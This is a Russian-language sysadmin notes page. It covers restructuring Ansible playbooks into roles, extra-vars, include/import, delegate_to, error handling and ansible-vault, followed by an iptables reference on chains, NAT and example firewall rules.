        - Restart Apache RedHat
        - Restart Apache Debian

  handlers:
  - name: Restart Apache RedHat
    service: name=httpd state=restarted
    when: ansible_os_family == "RedHat"

  - name: Restart Apache Debian
    service: name=apache2 state=restarted
    when: ansible_os_family == "Debian"

...

Планируем распил..... playbook.yml ...

---
- name: Install Apache and Upload my Web Page
  hosts: all
  become: yes

  vars: 
     source_folder: ./website   --- это директива нам будет не нужна (так как есть спец каталог для файлов)
     destin_folder: /var/www/html --- эту запись добавим в defaults\main.yml

  tasks: --- все таски добавим в tasks\main.yml
  - name: Cheack and Print Linux Version
    debug: var=ansible_os_family

  - block:  # === BLOCK REDHAT ====
       - name: Install Apache Web Server for RedHat
         yum: name=httpd state=present

       - name: Start Apache and Enable it on every boot
         service: name=httpd state=started enabled=yes

    when: ansible_os_family == "RedHat"


  - block: # === BLOCK DEBIAN ====

      - name: Install Apache Web Server for Debian
        apt: name=apache2 state=present

      - name: Start Apache and Enable it on every boot
        service: name=apache2 state=started enabled=yes

    when: ansible_os_family == "Debian"

  - name: Generate INDEX.HTML file
    template: src={{ source_folder }}/index.j2 dest={{ destin_folder }}/index.html mode=555  --- тут надо будет кое что  поправить см ниже
    notify:
        - Restart Apache RedHat
        - Restart Apache Debian


  - name: Copy folder  to web  Servers
    copy: src={{ source_folder }}/{{ item }} dest={{ destin_folder }} mode=0555 --- тут надо будет кое что  поправить см ниже
    loop:
      - "file0.txt"
      - "file1.txt"
      - "file2.txt"
    notify:
        - Restart Apache RedHat
        - Restart Apache Debian

  handlers: - все хендлеры положим в файл handlers\main.yml
  - name: Restart Apache RedHat
    service: name=httpd state=restarted
    when: ansible_os_family == "RedHat"

  - name: Restart Apache Debian
    service: name=apache2 state=restarted
    when: ansible_os_family == "Debian"

...

Файл website/index.j2 копулируем в каталог templates

Остальные файлы из каталога website копируем в каталог deploy_apache_web_site/files

С файлами получится вот так:

└── deploy_apache_web_site
    ├── defaults
    │   └── main.yml
    ├── files
    │   ├── file0.txt
    │   ├── file1.txt
    │   ├── file2.txt
    │   ├── file3.txt
    │   ├── file4.txt
    │   ├── file5.txt
    │   └── index.css
    ├── handlers
    │   └── main.yml
    ├── meta
    │   └── main.yml
    ├── README.md
    ├── tasks
    │   └── main.yml
    ├── templates
    │   └── index.j2
    ├── tests
    │   ├── inventory
    │   └── test.yml
    └── vars
        └── main.yml


Редактируем deploy_apache_web_site\defaults\main.yml

---
# defaults file for deploy_apache_web_site
destin_folder: /var/www/html

Редактируем deploy_apache_web_site\hendlers\main.yml

---
# handlers file for deploy_apache_web_site

- name: Restart Apache RedHat
  service: name=httpd state=restarted
  when: ansible_os_family == "RedHat"

- name: Restart Apache Debian
  service: name=apache2 state=restarted
  when: ansible_os_family == "Debian"

Редактируем deploy_apache_web_site\tasks\main.yml

---
# tasks file for deploy_apache_web_site
- name: Cheack and Print Linux Version
  debug: var=ansible_os_family

- block:  # === BLOCK REDHAT ====
     - name: Install Apache Web Server for RedHat
       yum: name=httpd state=present

     - name: Start Apache and Enable it on every boot
       service: name=httpd state=started enabled=yes

  when: ansible_os_family == "RedHat"


- block: # === BLOCK DEBIAN ====
    - name: Install Apache Web Server for Debian
      apt: name=apache2 state=present

    - name: Start Apache and Enable it on every boot
      service: name=apache2 state=started enabled=yes

  when: ansible_os_family == "Debian"

- name: Generate INDEX.HTML file
  template: src=index.j2 dest={{ destin_folder }}/index.html mode=555
  notify:
      - Restart Apache RedHat
      - Restart Apache Debian


- name: Copy folder  to web  Servers
  copy: src={{ item }} dest={{ destin_folder }} mode=0555
  loop:
    - "file0.txt"
    - "file1.txt"
    - "file2.txt"
  notify:
     - Restart Apache RedHat
     - Restart Apache Debian

Создаем файл playbook.yml для установки ролей

---
- name: Install Apache and Upload my Web Page
  hosts: all
  become: yes

  roles:
    - deploy_apache_web_site
    - deploy_db
    - deploy_vpn
    - deploy_xxx

...

Создаем файл playbook.yml для установки ролей с условием если ос linux

---
- name: Install Apache and Upload my Web Page
  hosts: all
  become: yes

  roles:
    - { role: deploy_apache_web_site, when: ansible_system == 'Linux' }
   

...

ansible-playbook playbook.yml  - ну собственно запуск установки роли








ansible внешние переменные extra-vars

В playbook.yml добавили переменную

---
- name: Install Apache and Upload my Web Page
  hosts: "{{ MYHOSTS }}"
  become: yes

  roles:
    - { role: deploy_apache_web_site, when: ansible_system == 'Linux' }
...

Использование переменной

ansible-playbook playbook10.yml -e "MYHOSTS=all"
ansible-playbook playbook10.yml -extra-var "MYHOSTS=NAME-HOST"
ansible-playbook playbook10.yml -extra-vats "MYHOSTS=NAME-GROUP"

ansible-playbook playbook10.yml -e "MYHOSTS=PROD owner=DENIS"

!!! Переменные переданные в extra-vars имеют наивысшие значение






ansible import , include , file , folder , generate

include_playbook.yml его будем уменьшать и использовать include / import

---
- name: My TEST Playbook
  hosts: all
  become: yes

  vars:
   mytext: "Privet MEN"

  tasks:
  - name: Ping test
    ping:

  - name: Create folder1
    file:
     path:  /home/secret/folder1
     state: directory
     mode:  0755

  - name: Create folder2
    file:
     path:  /home/secret/folder2
     state: directory
     mode:  0755

  - name: Create file1
    copy:
     dest: /home/secret/file1.txt
     content:
        Text Line1, in file1
        Text Line2, in file1
        Text Line3, {{ mytext }}

  - name: Create file2
    copy:
     dest: /home/secret/file2.txt
     content:
        Text Line1, in file2
        Text Line2, in file2
        Text Line3, {{ mytext }}

...

create_folder.yml

---
- name: Create folder1
  file:
   path:  /home/secret/folder1
   state: directory
   mode:  0755

- name: Create folder2
  file:
    path:  /home/secret/folder2
    state: directory
    mode:  0755

...

create_files.yml

---
- name: Create file1
  copy:
   dest: /home/secret/file1.txt
   content: |
        Text Line1, in file1
        Text Line2, in file1
        Text Line3, {{ mytext }}

- name: Create file2
  copy:
   dest: /home/secret/file2.txt
   content: |
        Text Line1, in file2
        Text Line2, in file2
        Text Line3, {{ mytext }}

...


include_playbook.yml

---
- name: My TEST Playbook
  hosts: all
  become: yes

  vars:
   mytext: "Privet MEN"

  tasks:
  - name: Ping test
    ping:

  - name: Create Folders
    include: create_folder.yml

  - name: Create Files
    import: create_files.yml

...

!!! Отличие import от include заключается в следующем
!!! Include читает из файлов значения, ansible подставляет значения при выполнении (дошел до строчки с include тогда и подставил)
!!! Import  читает и подставляет значения, ansible подставляет сразу все значения
!!! рекомендуют использовать include
!!! Также можно сократить запись


---
- name: My TEST Playbook
  hosts: all
  become: yes

  vars:
   mytext: "Privet MEN"

  tasks:
  - name: Ping test
    ping:

  - include: create_folder.yml
  - include: create_files.yml  mytext="Hello from Mosckow"

...






ansible delegate_to , выполнить где нужно , run_once , shell , copy

playbook.yml delegate_to

---
- name: My playbook create file
  hosts: all
  become: yes

  vars:
   mytext: "Privet ot b14esh"

  tasks:
  - name: Test ping
    ping:

  - name: Create File file1.txt
    copy:
      dest: /home/file1.txt
      content: |
         This is file1.txt
         On ohhh {{ mytext }}
    delegate_to: linux1

  - name: Create file file2.txt
    copy:
     dest: /home/file2.txt
     content: |
        This is File2
        Mytext {{ mytext }}
        lol lol lol lol lol

...



playbook.yml delegate_to на ansible master 127.0.0.1

---
- name: My playbook create file
  hosts: all
  become: yes

  vars:
   mytext: "Privet ot b14esh"

  tasks:
  - name: Test ping
    ping:

  - name: Unregister Server from Load Balance
    shell: echo this server {{ inventory_hostname }} was deregisterred from our load balancer, node name is {{ ansible_nodename }} >> /home/log.txt
    delegate_to: 127.0.0.1

  - name: Create File file1.txt
    copy:
      dest: /home/file1.txt
      content: |
         This is file1.txt
         On ohhh {{ mytext }}
    delegate_to: linux1

  - name: Create file file2.txt
    copy:
     dest: /home/file2.txt
     content: |
        This is File2
        Mytext {{ mytext }}
        lol lol lol lol lol

...

playbook.yml delegate_to , run_once выполнить один раз , reboot и ждем

---
- name: My playbook create file
  hosts: all
  become: yes

  vars:
   mytext: "Privet ot b14esh"

  tasks:
  - name: Test ping
    ping:

  - name: Unregister Server from Load Balance
    shell: echo this server {{ inventory_hostname }} was deregisterred from our load balancer, node name is {{ ansible_nodename }} >> /home/log.txt
    delegate_to: 127.0.0.1

  - name: Update my database
    shell: echo Update database
    run_once: true
    delegate_to: 127.0.0.1
   
  - name: Create File file1.txt
    copy:
      dest: /home/file1.txt
      content: |
         This is file1.txt
         On ohhh {{ mytext }}
    delegate_to: linux1

  - name: Create file file2.txt
    copy:
     dest: /home/file2.txt
     content: |
        This is File2
        Mytext {{ mytext }}
        lol lol lol lol lol

  - name: reboot my servers
    shell: sleep 4 && reboot now
    async: 1
    poll: 0

  - name: wait my server will come online
    wait_for:
      host: "{{ inventory_hostname }}"
      state: started
      delay: 5
      timeout: 40
    delegate_to: 127.0.0.1
...








ansible перехват и контроль ошибок , игнор , failed_when , result.rc , any_errors_fatal

playbook.yml пытаемся установить не существующий пакет treeee и выводим echo

---
- name:  Error find and control
  hosts: all
  become: yes

  tasks:
  - name: Tasks number1
    yum: name=treeee state=present

  - name: Tasks number2
    shell: echo Hellow world!

  - name: Tasks number3
    shell: echo Privet Man!

...



playbook.yml ignore_errors игнорим ошибки и выполняем следующие таски

---
- name:  Error find and control
  hosts: all
  become: yes

  tasks:
  - name: Tasks number1
    yum: name=treeee state=present
    ignore_errors: yes

  - name: Tasks number2
    shell: echo Hellow world!

  - name: Tasks number3
    shell: echo Privet Man!

...



playbook.yml дебаг ignore_errors

---
- name:  Error find and control
  hosts: all
  become: yes

  tasks:
  - name: Tasks number1
    yum: name=treeee state=present
    ignore_errors: yes

  - name: Tasks number2
    shell: ls -la /var/
    register: results

  - debug:
      var: results

  - name: Tasks number3
    shell: echo Privet Man!

...





playbook.yml failed_when

---
- name: Test ansible
  hosts: all
  become: yes

  tasks:
  - name: Tasks number1
    yum: name=treeee state=present
    ignore_errors: yes

  - name: Tasks number2
    shell: echo Hellow world
    register: results
    failed_when: "'world' in results.stdout"

  - debug:
      var: results

  - name: Tasks number3
    shell: echo Privet Man!

...




playbook.yml failed_when result.rc

---
- name: Test ansible
  hosts: all
  become: yes

  tasks:
  - name: Tasks number1
    yum: name=treeee state=present
    ignore_errors: yes

  - name: Tasks number2
    shell: echo Hellow world
    register: results
    failed_when: result.rc == 0
#    failed_when: "'world' in results.stdout"

  - debug:
      var: results

  - name: Tasks number3
    shell: echo Privet Man!

...



playbook.yml выполнится только там где есть file1.txt

---
- name: Test ansible
  hosts: all
  become: yes

  tasks:
  - name: Tasks number1
    yum: name=treeee state=present
    ignore_errors: yes

  - name: Tasks number2
    shell: cat /home/secret/file1.txt
    register: results

  - debug:
      var: results

  - name: Tasks number3
    shell: echo Privet Man!

...

playbook.yml any_errors_fatal

---
- name: Test ansible
  hosts: all
  any_errors_fatal : true
  become: yes

  tasks:
  - name: Tasks number1
    yum: name=treeee state=present
    ignore_errors: yes

  - name: Tasks number2
    shell: cat /home/secret/file71.txt
    register: results

  - debug:
      var: results

  - name: Tasks number3
    shell: echo Privet Man!

...







ansible , ansible-vault , хранение секретов , шифрованный файл , шифрованные строки

вводное

ansible-vault create mysecret.txt - создание специального зашифрованного файла для хранения секретов (AES256) (редактор vim)
ansible-vault view mysecret.txt - посмотреть зашифрованный файл (просто cat) 
ansible-vault edit mysecret.txt - редактировать зашифрованный файл (редактор vim)

ansible-vault encrypt playbook_vault.yml - шифруем файл playbook_vault.yml (AES256)
ansible-vault decrypt playbook_vault.yml - расшифровываем файл playbook_vault.yml

ansible-playbook playbook_vault.yml --ask-vault-pass - запуск зашифрованного playbook, ansible попросит ввести пароль
ansible-playbook  playbook_vault.yml --vault-password-file mypass.txt - запуск зашифрованного playbook, ansible будет искать пароль в mypass.txt (пароль просто записан текстом)

playbook_vault.yml - будем шифровать этот файл

---
- name: vault playbook
  hosts: all
  become: yes

  vars:
    admin_pass: Pass123

  tasks:
  - name: Install package tree
    yum: name=tree state=present

  - name: Create Config File
    copy:
      dest: "/home/secret/myconfig.conf"
      content: |
         port = 9092
         log = 7days
         home =  /home/secret/
         user = admin
         password = {{ admin_pass }}
...

Шифрование строк в ansible

ansible-vault encrypt_string - шифрование строки

ansible-vault encrypt_string --stdin-name "Mypassword" - шифрование строки
New Vault password: у нас спрашивают для пароль для расшифровки, ввел 1
Confirm New Vault password: вводим пароль для расшифровки еще раз 1
Reading plaintext input from stdin. (ctrl-d to end input) нажимаем Ctrl+d
Pass123 - это мы шифруем
Mypassword: !vault |
          $ANSIBLE_VAULT;1.1;AES256
          39633633373832373034633265323832353636363733643431636535346535643532643439386435
          6638306639306430363664633036386332313133373231390a386338373232373765353964373634
          35363336353962646137663631366265336362323431393263356436313935373735366465363936
          3265633730376163390a376564336565316330393261373931356339656164366162633839666463
          6337
Encryption successful


Нас интересует вот это
 !vault |
          $ANSIBLE_VAULT;1.1;AES256
          39633633373832373034633265323832353636363733643431636535346535643532643439386435
          6638306639306430363664633036386332313133373231390a386338373232373765353964373634
          35363336353962646137663631366265336362323431393263356436313935373735366465363936
          3265633730376163390a376564336565316330393261373931356339656164366162633839666463
          6337




echo -n "$%^SecretWord&&^%" | ansible-vault encrypt_string - еще один вариант шифровать строку
New Vault password:
Confirm New Vault password:
Reading plaintext input from stdin. (ctrl-d to end input)
!vault |
          $ANSIBLE_VAULT;1.1;AES256
          37343432306532653463666138393336396366303664613332373337323730623034663639336530
          3561333338623638343532396130636461356638643931640a303436613561343634363965373863
          62663935313362363535663064316635643636613535386438366239623265633633663066396237
          6430396435323739370a343964613933633964353937336437346536656364313738323130613836
          35613038326338633439623063396264303961313639376466363332323362623866
Encryption successful

Шифрование строки в plabook.yml

---
- name: vault playbook
  hosts: all
  become: yes

  vars:
    admin_pass: !vault |
          $ANSIBLE_VAULT;1.1;AES256
          39633633373832373034633265323832353636363733643431636535346535643532643439386435
          6638306639306430363664633036386332313133373231390a386338373232373765353964373634
          35363336353962646137663631366265336362323431393263356436313935373735366465363936
          3265633730376163390a376564336565316330393261373931356339656164366162633839666463
          6337

  tasks:
  - name: Install package tree
    yum: name=tree state=present

  - name: Create Config File
    copy:
      dest: "/home/secret/myconfig.conf"
      content: |
         port = 9092
         log = 7days
         home =  /home/secret/
         user = admin
         password = {{ admin_pass }}
...


ansible-playbook  playbook_vault.yml --ask-vault-pass - запуск playbook с зашифрованной строкой
Рубрики
iptables \ Fail2ban Конспект

iptables: конспект / iptables / conntrack / NAT / sysctl

Ссылки:

https://ru.wikibooks.org/wiki/Iptables

https://old.calculate-linux.org/main/ru/iptables

https://wiki.dieg.info/iptables
https://wiki.dieg.info/nat

http://dragonflybsd.blogspot.com/2016/04/conntrack.html
http://conntrack-tools.netfilter.org/manual.html

http://sysadminblog.ru/linux/2012/05/22/primery-ispolzovaniya-iptables.html

https://habr.com/ru/company/ruvds/blog/580648/

Linux: IPTABLES – руководство: часть 4 – цели для правил


трафик_микротик трафик_mikrotik трафик_две_сетевушки chains netfilter

Таблицы и цепочки:

По умолчанию мы имеем три таблицы: FILTER, NAT, MANGLE
По умолчанию мы имеем пять цепочек: PREROUTING, FORWARD, POSTROUTING, INPUT, OUTPUT 
 
filter: (DROP, LOG, ACCEPT, REJECT)
-FORWARD - цепочка используется для фильтрацию пакетов, идущих транзитом через брандмауэр.
-INPUT - через эту цепочку проходят пакеты, которые предназначены локальным приложениям(брандмауэр).
-OUTPUT - используются для фильтрации исходящих пакетов, сгенерированных приложениями на самом брандмауэре.
 
nat: (DNAT,SNAT)
-PREROUTING - используется для внесения изменений на ходе брандмауэра. (dnat)
-OUTPUT - предназначена для преобразования пакетов, созданных приложениями внутри брандмауэра, перед принятием решения о маршрутизации.
-POSTROUTING - применяется для преобразования пакетов перед выдачей их во вне. (snat)
 
mangle: (MARK,TOS,TTL)
-PREROUTING - используется для внесения изменений в  пакеты на входе брандмауэра.
-POSTROUTING - применяется для изменения в пакеты перед выдачей их во вне.
-INPUT - через эту цепочку проходят пакеты, которые предназначены локальным приложениям(брандмауэру).
-FORWARD - используется для модификации заголовков пакетов, идущих транзитом через брандмауэр.
-OUTPUT - для внесения изменений в заголовок пакетов, поступающих от приложений внутри брандмауэра.

Порядок прохождения транзитных пакетов:
mangle PREROUTING
nat PREEOUTING
mangle FORWARD
filter FORWARD
mangle POSTROUTING
nat POSTROUTING
 
Порядок прохождения пакетов предназначенных для приложения компьютера:
mangle PREPOUTING
nat PREROUTING
mangle INPUT
filter INPUT
 
Порядок прохождения пакетов  отправленные приложениями компьютера:
mangle OUTPUT
nat OUTPUT
filter OUTPUT
mangle POSTROUTING
nat POSTROUTING

NAT - NETWORK ADDRESS TRANSLATION
RFC-1918 - документ по не маршрутизированным адресам
SNAT - замена IP-адреса или порта источника (Например настройка доступа к интернету для ПК из локальной сети через маршрутизатор)
DNAT - замена IP-адреса или порта назначения (Например доступ из интернета на ПК в локальной сети)
MASQUERADE - разбирается сам что куда подменять (используется когда у вас нет постоянного внешнего IP, или получаете его по DHCP)
REDIRECT - выполняет перенаправление пакетов и потоков на другой порт той же самой машины

Настройка политики

!!! По умолчанию политика ACCEPT
Отбрасываем все входящие подключения:
!!! Рекомендуется для построения firewall, запрещено все кроме разрешённого
iptables -P INPUT DROP

Отбрасываем идущий трафик через нас:
iptables -P FORWARD DROP

Отбрасываем исходящий трафик:
!!! обычно не используется
iptables -P OUTPUT DROP

IPTABLES основное:

!!! если не указывать таблицу по умолчанию таблица FILTER.
!!! L: Вывести список правил.
!!! v: Отображение подробной информации. Этот ключ будет выводить имя интерфейса, параметры правил и маски TOS. 
!!! n: Не резолвить IP адреса, показывать в цифровом виде. Ускоряет вывод.
!!! --line-numbers: показать номер правила в цепочке
!!! Счетчики пакетов и байтов, также будут показаны в списке, с 'K' суффиксом, 'М' или 'G' в зависимости от необходимого множителя.

Отображение состояния брандмауэра / Показать текущие правила (по умолчанию таблица FILTER):
iptables -L -n -v 

Показать текущие правила  с номером строки (по умолчанию таблица FILTER):
iptables -n -L -v --line-numbers

Показать таблицу Filter:
iptables -L -n -v -t filter

Показать таблицу NAT:
iptables -n -t nat -L

Показать таблицу MANGLE:
iptables -n -t mangle -L

Показать из таблицы FILTER цепочку INPUT 
iptables -L INPUT -n -v 

Показать из таблицы FILTER цепочку OUTPUT
iptables -L OUTPUT -n -v --line-numbers

Построение правил в iptables

iptables [-t table] command [match] [target/jump]
command:
-A - добавить правило в конец цепочки (APPEND)
-D - удалить правило из цепочки (DELETE)
-R - заменить одно правило другим (REPLACE)
-I - вставить правило в указанное место в цепочке (INSERT) (по умолчанию вставляет в начало)
-L - показать список правил (LIST)
-F - очистить цепочку или таблицу (FLUSH)
-Z - обнулить счетчики (ZERO)
-N - создать цепочку пользователя (NEW)
-X - удалить цепочку пользователя 
-P - установить политику по умолчанию (DROP, ACCEPT)

Общие критерии match
-p - протокол (-p tcp)
-s - определяет IP-адрес источника (-s 10.0.0.1)
-d - определяет  IP-адрес назначения
-i - определяет входящий интерфейс
-o - определяет исходящий интерфейс (o eth0)
-f - определяет фрагментыm фрагментированного пакета (!-f) 
 
!!! Символ "!" инвертирует значение параметра.

Критерии:

TCP критерии:
    --sport - порт источника
    --dport - порт назначения (--dport 1024:65535)
    --tcp-flags - определение TCP-флагов
    --syn - запрос на соединение

UDP критерии:
    --sport - порт источника
    --dport - порт назначения

ICMP критерии:
    --icmp-type - определяет тип ICMP пакета (--icmp-type echo-request)

Действия(-j):

ACCEPT - принять пакеты
DROP - сбросить пакет
REJECT - сбросить пакет с сообщение об ошибке
RETURN - возвращает из цепочки
LOG - помещает информацию в системный журна

Терминальные и нетерминальные действия:


Терминальными называются действия, которые прерывают прохождение пакета через текущую базовую цепочку. 
То есть если к пакету в рамках некоторого правила было применено терминальное действие,
 он уже не проверяется на соответствие всем следующим правилам в этой цепочке (и в тех цепочках, 
из которых она была вызвана, если это пользовательская цепочка). 
Терминальными являются все действия, специфичные для таблиц filter и nat. 
Из приведенных выше в этом разделе — ACCEPT, DROP, REJECT, NFQUEUE, QUEUE.

Например:
iptables -A INPUT -p tcp --dport 80 -j ACCEPT
iptables -A INPUT -p tcp --dport 80 -j LOG --log-prefix "IN HTTP: "
Второе из приведенных правил (логирование) никогда не будет срабатывать, так как все пакеты,
 удовлетворяющие этому критерию (входящие TCP-пакеты на порт 80), 
будут пропущены по первому из этих правил, и до второго просто не дойдут.


Нетерминальными, соответственно, являются действия, не прерывающие процесс прохождения пакета через цепочки. 
Нетерминальными являются действия, специфичные для таблицы mangle, а из перечисленных выше — LOG, ULOG и NFLOG.

Например:
iptables -A INPUT -p tcp --dport 80 -j LOG --log-prefix "IN HTTP: "
iptables -A INPUT -p tcp --dport 80 -j ACCEPT
Теперь все входящие на TCP-порт 80 пакеты будут сначала заноситься в лог, и только потом пропускаться.

Действие RETURN с точки зрения такой классификации занимает промежуточное положение — оно может прервать прохождение пакета 
через отдельную цепочку (или несколько цепочек, если для перехода в них использовалась опция -g, а не -j), 
но совсем не обязательно, чтобы это приводило к завершению обработки пакета в рамках текущей базовой цепочки.

Удаление правил брандмауэра

!!! D: удалить одно или несколько правил из указанной цепочки
Для отображения номера строки наряду с другой информацией по существующим правилам, введите:
# iptables -L INPUT -n --line-numbers
# iptables -L OUTPUT -n --line-numbers
# iptables -L OUTPUT -n --line-numbers | less
# iptables -L OUTPUT -n --line-numbers | grep 8.8.8.8
Вы получите список IP. Посмотрите на число слева, а вводите число, чтобы удалить его. 

Например, удаление линии номер 4, введите:
# iptables -D INPUT 4

Или найти источник IP 202.54.1.1 и удалить из правила:
# iptables -D INPUT -s 202.54.1.1 -j DROP
  

Добавление правил брандмауэра

Чтобы вставить одно или несколько правил в указанной цепочке, как правило используется следующий синтаксис. 

Сначала узнать номер строки:
# iptables -L INPUT -n --line-numbers

Вывод например:
Chain INPUT (policy DROP)
num  target     prot opt source               destination
1    DROP       all  --  202.54.1.1           0.0.0.0/0
2    ACCEPT     all  --  0.0.0.0/0            0.0.0.0/0           state NEW,ESTABLISHED

Чтобы вставить правило между 1 и 2, введите:
# iptables -I INPUT 2 -s 8.8.8.8 -j DROP

Для просмотра обновленных правил, введите:
# iptables -L INPUT -n --line-numbers

Вывод например:
Chain INPUT (policy DROP)
num  target     prot opt source               destination
1    DROP       all  --  202.54.1.1           0.0.0.0/0
2    DROP       all  --  8.8.8.8              0.0.0.0/0
3    ACCEPT     all  --  0.0.0.0/0            0.0.0.0/0           state NEW,ESTABLISHED

Блокировать весь трафик:

# iptables -P INPUT DROP
# iptables -P OUTPUT DROP
# iptables -P FORWARD DROP
# iptables -L -v -n

Блокировать только входящий трафик:

# iptables -P INPUT DROP
# iptables -P FORWARD DROP
# iptables -P OUTPUT ACCEPT

Блокировка сетевых адресов локальной сети на внешнем интерфейсе

IP-спуфинг — атака заключающаяся в использовании в IP-пакетах, отправляемых жертве,
в качестве обратного адреса IP-адрес хоста, которому она доверяет. 
Пакеты с немаршрутизируемыми адресами источника должны быть отвергнуты, 
используя следующий синтаксис:
# iptables -A INPUT -i eth1 -s 192.168.0.0/24 -j DROP
# iptables -A INPUT -i eth1 -s 10.0.0.0/8 -j DROP

Диапазон адресов IPv4 для частных сетей (убедитесь, что они заблокированы на внешнем интерфейсе)

    10.0.0.0/8 -j (A)
    172.16.0.0/12 (B)
    192.168.0.0/16 ©
    224.0.0.0/4 (MULTICAST D)
    240.0.0.0/5 (E)
    127.0.0.0/8 (LOOPBACK)

Блокировка IP-адресов

Чтобы заблокировать IP адрес 1.2.3.4, введите:
# iptables -A INPUT -s 1.2.3.4 -j DROP

Блокировка входящие запросов на порт

Чтобы заблокировать все запросы на порт 80, введите:
# iptables -A INPUT -p tcp --dport 80 -j DROP
# iptables -A INPUT -i eth1 -p tcp --dport 80 -j DROP

Чтобы заблокировать порт 80 только для IP-адреса 1.2.3.4, введите:
# iptables -A INPUT -p tcp -s 1.2.3.4 --dport 80 -j DROP
# iptables -A INPUT -i eth1 -p tcp -s 192.168.1.0/24 --dport 80 -j DROP

Блокировка исходящего IP-адреса

Чтобы заблокировать исходящий трафик определенного хоста или домена, такого как sysadminblog.ru, введите:
host -t a sysadminblog.ru

Ответ будет:
sysadminblog.ru has address 95.211.41.31

Запишите свой ​​IP-адрес и введите следующую команду, чтобы блокировать весь исходящий трафик с 95.211.41.31:
# iptables -A OUTPUT -d 95.211.41.31 -j DROP

Можно использовать маски:
# iptables -A OUTPUT -d 192.168.1.0/24 -j DROP
# iptables -A OUTPUT -o eth1 -d 192.168.1.0/24 -j DROP

Вы также можете использовать доменное имя, введите:
# iptables -A OUTPUT -p tcp -d www.sysadminblog.ru -j DROP
# iptables -A OUTPUT -p tcp -d sysadminblog.ru -j DROP
Хотя в документации пишут, что использование доменного имени вместо IP не рекомендуется.

Логирование и блокирование пакетов

Введите следующую команду, чтобы логировать и блокировать IP-спуфинг на открытый интерфейс с именем eth1:
# iptables -A INPUT -i eth1 -s 10.0.0.0/8 -j LOG --log-prefix "IP_SPOOF A: "
# iptables -A INPUT -i eth1 -s 10.0.0.0/8 -j DROP

По умолчанию все логируется в файл /var/log/messages.

Комментарий от akkerman:
Так лучше не делать, в особенности для явно левого трафика. 
LOG можно вставлять только строго с -m limit, 
иначе любая DoS-атака будет во много раз эффективнее: 
фактически косвенным образом злоумышленник получает прямой 
путь интенсивного воздействия непосредственно на файловую систему сервера.

Как делать правильнее, написано ниже
Логирование и блокирование пакетов с ограниченным количеством записей журнала
Параметр -m может ограничить количество записей в журнале созданных в единицу времени. 
Это используется для предотвращения флуда в файле журнала. 
Чтобы записывать не более 7 записей в 5 минут, введите:
# iptables -A INPUT -i eth1 -s 10.0.0.0/8 -m limit --limit 5/m --limit-burst 7 -j LOG --log-prefix "IP_SPOOF A: "
# iptables -A INPUT -i eth1 -s 10.0.0.0/8 -j DROP

Логировать все из цепочки undef:
iptables -A undef_in -j LOG --log-level info --log-prefix "--- IN --- DROP "
iptables -A undef_in -j DROP
iptables -A undef_out -j LOG --log-level info --log-prefix " --- OUT --- DROP "
iptables -A undef_out -j DROP
iptables -A undef_fw -j LOG --log-level info --log-prefix "--- FW --- DROP "
iptables -A undef_fw -j DROP

Блокирование или разрешение трафика от Mac-адреса

Используйте следующий синтаксис:
# iptables -A INPUT -m mac --mac-source 00:19:99:3C:AB:23 -j DROP
## *only accept traffic for TCP port # 8080 from mac 00:19:99:3C:AB:22 * ##
# iptables -A INPUT -p tcp --destination-port 22 -m mac --mac-source 00:19:99:3C:AB:22 -j ACCEPT

Запретить или разрешить ICMP запросы для ping

Введите следующую команду, чтобы заблокировать ICMP запросы:
# iptables -A INPUT -p icmp --icmp-type echo-request -j DROP
# iptables -A INPUT -i eth1 -p icmp --icmp-type echo-request -j DROP

Ping ответ также может быть ограничен определенными сетями или хостами:
# iptables -A INPUT -s 192.168.1.0/24 -p icmp --icmp-type echo-request -j ACCEPT

Следующий пример принимает только ограниченный тип ICMP запросов:
### ** assumed that default INPUT policy set to DROP ** #############
iptables -A INPUT -p icmp --icmp-type echo-reply -j ACCEPT
iptables -A INPUT -p icmp --icmp-type destination-unreachable -j ACCEPT
iptables -A INPUT -p icmp --icmp-type time-exceeded -j ACCEPT
## ** all our server to respond to pings ** ##
iptables -A INPUT -p icmp --icmp-type echo-request -j ACCEPT

Ограничить число одновременных подключений к серверу для каждого клиента по IP

Вы можете использовать модуль connlimit, чтобы поставить такие ограничения. 

Для ограничения не больше 3 SSH соединений на хост, введите:
# iptables -A INPUT -p tcp --syn --dport 22 -m connlimit --connlimit-above 3 -j REJECT

Установить HTTP запросов до 20:
# iptables -p tcp --syn --dport 80 -m connlimit --connlimit-above 20 --connlimit-mask 24 -j DROP
Параметры в примере,
    --connlimit-above 3: Соответствует ли количество существующих соединений выше 3.
    --connlimit-mask 24: Группировать хосты по префиксу. Для IPv4, префиксы от 0 до 32.

INPUT разрешаем

Разрешаем работу локальных приложений использующих loop интерфейс
iptables -A INPUT -i lo -j ACCEPT

Разрешаем все с хоста
iptables -I INPUT -s 192.168.15.0/24 -j ACCEPT
iptables -I INPUT -s 10.0.0.0/24 -j ACCEPT
 
Разрешаем трафик для уже установленных соединений:
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT

Разрешаем доступ к ssh для сети:
iptables -A INPUT -s 10.0.0.0/23 -p tcp -m tcp --dport 22 -j ACCEPT
iptables -A INPUT -m state --state NEW -m tcp -p tcp --dport 22 -j ACCEPT
iptables -A INPUT -s 192.168.1.0/24 -m state --state NEW -p tcp --dport 22 -j ACCEPT

Разрешаем порт 53 (DNS):
iptables -A INPUT -m state --state NEW -p udp --dport 53 -j ACCEPT
iptables -A INPUT -m state --state NEW -p tcp --dport 53 -j ACCEPT

Разрешаем доступ к веб сервер http:
iptables -A INPUT -p tcp --dport 80 -j ACCEPT
iptables -A INPUT -p tcp --dport 80 -i eth0 -j ACCEPT
iptables -A INPUT -m state --state NEW -p tcp --dport 80 -j ACCEPT

Разрешаем доступ на 80 порт только определенного адреса и интерфейса ppp0:
iptables -A INPUT -p tcp -s 8.8.8.8 --dport 80 -i ppp0 -j ACCEPT 

Разрешаем NTP (сервер времени):
iptables -A INPUT -s 192.168.1.0/24 -m state --state NEW -p udp --dport 123 -j ACCEPT

Разрешаем POP3 и IMAP:
iptables -A INPUT -m state --state NEW -p tcp --dport 110 -j ACCEPT
iptables -A INPUT -m state --state NEW -p tcp --dport 143 -j ACCEPT

Разрешаем samba \ шары:
iptables -A INPUT -s 192.168.1.0/24 -m state --state NEW -p tcp --dport 137 -j ACCEPT
iptables -A INPUT -s 192.168.1.0/24 -m state --state NEW -p tcp --dport 138 -j ACCEPT
iptables -A INPUT -s 192.168.1.0/24 -m state --state NEW -p tcp --dport 139 -j ACCEPT
iptables -A INPUT -s 192.168.1.0/24 -m state --state NEW -p tcp --dport 445 -j ACCEPT

Разрешаем доступ к веб сервер https:
